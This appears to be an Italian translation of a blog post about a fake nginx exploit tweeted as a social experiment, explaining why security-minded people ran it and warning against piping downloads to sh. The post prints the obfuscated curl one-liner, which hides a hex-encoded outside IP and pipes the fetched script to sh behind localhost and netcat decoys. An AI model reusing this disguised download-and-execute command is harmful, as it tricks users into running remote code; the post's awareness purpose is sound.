{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Il successo dell'esperimento sociale con un exploit falso per nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Nota di traduzione.<\/b>: Autore<\/a><\/noindex> Di un appunto originale, pubblicato il 1\u00b0 giugno, ho deciso di condurre un esperimento in un ambiente di persone interessate alla sicurezza informatica. A tal fine, ha preparato un falso exploit per una vulnerabilit\u00e0 non divulgata nel web server e l'ha pubblicato su Twitter. Le sue ipotesi - essere immediatamente smascherato da esperti che avrebbero visto il chiaro inganno nel codice - non solo non si sono avverate... Hanno superato ogni aspettativa, e in senso contrario: il tweet ha ricevuto un enorme supporto da molte persone che non hanno controllato il suo contenuto.<\/i><\/p>\n

\"Il
\n
\nTL;DR: non usare in alcun modo la pipelining dei file in sh o bash. \u00c8 un ottimo modo per perdere il controllo del computer.<\/b><\/a><\/noindex><\/p>\n

Voglio condividere con voi una breve storia su un PoC exploit umoristico che \u00e8 stato creato il 31 maggio. \u00c8 emerso rapidamente in risposta alla notizia di Alisa Esage \u0160ev\u010denko<\/a><\/noindex>, membro Zero Day Initiative<\/a><\/noindex> (ZDI), riguardo al fatto che presto sarebbero stati divulgati dettagli su una vulnerabilit\u00e0 in NGINX che porterebbe a RCE (esecuzione remota di codice). Poich\u00e9 NGINX \u00e8 alla base di molti siti web, la notizia avrebbe dovuto avere un impatto devastante. Ma a causa dei ritardi nel processo di \"divulgazione responsabile\" le informazioni dettagliate sugli eventi non erano disponibili: \u00e8 questa la procedura standard di ZDI.<\/p>\n

\"Il
\nTweet<\/a><\/noindex> sulla divulgazione della vulnerabilit\u00e0 in NGINX<\/i><\/p>\n

Dopo aver completato il lavoro su una nuova tecnica di offuscamento in curl, ho citato il tweet originale e ho \"rilasciato un PoC funzionante\", composto da una sola riga di codice, che apparentemente utilizzava la vulnerabilit\u00e0 scoperta. Certo, era una totale sciocchezza. Pensavo che sarei stato smascherato subito e che, nella migliore delle ipotesi, avrei ottenuto un paio di retweet (e pazienza).<\/p>\n

\"Il
\nTweet<\/a><\/noindex> con un exploit falso<\/i><\/p>\n

Tuttavia, non potevo immaginare cosa sarebbe successo dopo. La popolarit\u00e0 del mio tweet \u00e8 esplosa. Stranamente, al momento (15:00 MSK del 1\u00b0 giugno) ancora in pochi si sono resi conto che si trattava di una fake. Molti lo ritwittano senza nemmeno verificarne il contenuto (per non parlare dell'ammirazione per la splendida grafica ASCII che visualizza).<\/p>\n

\"Il
\nGuardate che bellezza!<\/i><\/p>\n

Anche se tutti questi cicli e colori sono straordinari, \u00e8 ovvio che per vederli, le persone eseguivano il codice sulla propria macchina. Fortunatamente, i browser funzionano in modo analogo, e, con il fatto che non ho affatto bisogno di problemi legali, il codice nascosto nel mio sito eseguiva semplicemente chiamate echo, senza cercare di impostare o eseguire alcun codice aggiuntivo.<\/p>\n

Una piccola digressione: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, io e altri ragazzi del team Thugcrowd<\/a><\/noindex> stiamo sperimentando da un po' con vari metodi di offuscazione dei comandi curl, perch\u00e9 \u00e8 divertente... e siamo geek. netspooky e dnz hanno scoperto alcuni nuovi metodi che mi sono sembrati estremamente promettenti. Ho deciso di unirti al divertimento e ho provato ad aggiungere conversioni di IP decimali al set di trucchi. \u00c8 emerso che \u00e8 possibile convertire gli IP anche in formato esadecimale. Inoltre, curl e la maggior parte degli altri strumenti NIX accettano volentieri gli IP esadecimali! Pertanto, era sufficiente creare una riga di comando convincente e dall'aspetto sicuro. Alla fine, mi sono fermato su questa:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
L'ingegneria socio-elettronica (S.E.E.) \u00e8 pi\u00f9 di un semplice phishing<\/h2>\n
\nLa sicurezza e la familiarit\u00e0 sono state parte fondamentale di questo esperimento. Penso che siano state proprio queste a portarlo al successo. La riga di comando implicava chiaramente sicurezza, riferendosi a \"127.0.0.1\" (il ben noto localhost). Si considera che il localhost sia sicuro, e i dati in esso contenuti non lasciano mai il tuo computer.<\/p>\n
La familiarit\u00e0 \u00e8 stata il secondo componente chiave dell'S.E.E. dell'esperimento. Poich\u00e9 il pubblico target era composto principalmente da persone che conoscevano le basi della sicurezza informatica, era importante creare un codice in cui le sue parti sembrassero familiari e quindi sicure. Prendere in prestito elementi di vecchie concezioni di exploit e combinarli in modo insolito si \u00e8 rivelato molto efficace.<\/p>\n
Di seguito \u00e8 riportata un'analisi dettagliata del one-liner. Tutto ci\u00f2 che \u00e8 presente in questo elenco \u00e8 di natura cosmetica<\/b>, e per il suo funzionamento reale non \u00e8 praticamente richiesta alcuna configurazione.<\/i><\/p>\n
Quali componenti sono realmente necessari? Sono -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> e il server web stesso. Il server web non conteneva istruzioni malevole, ma semplicemente trasmetteva grafica ASCII tramite comandi echo<\/code> nello script che si trova in index.html<\/code>. Quando l'utente inseriva una stringa con |sh<\/code> nel mezzo, index.html<\/code> veniva caricato ed eseguito. Fortunatamente, i custodi del server web non avevano cattive intenzioni.<\/p>\n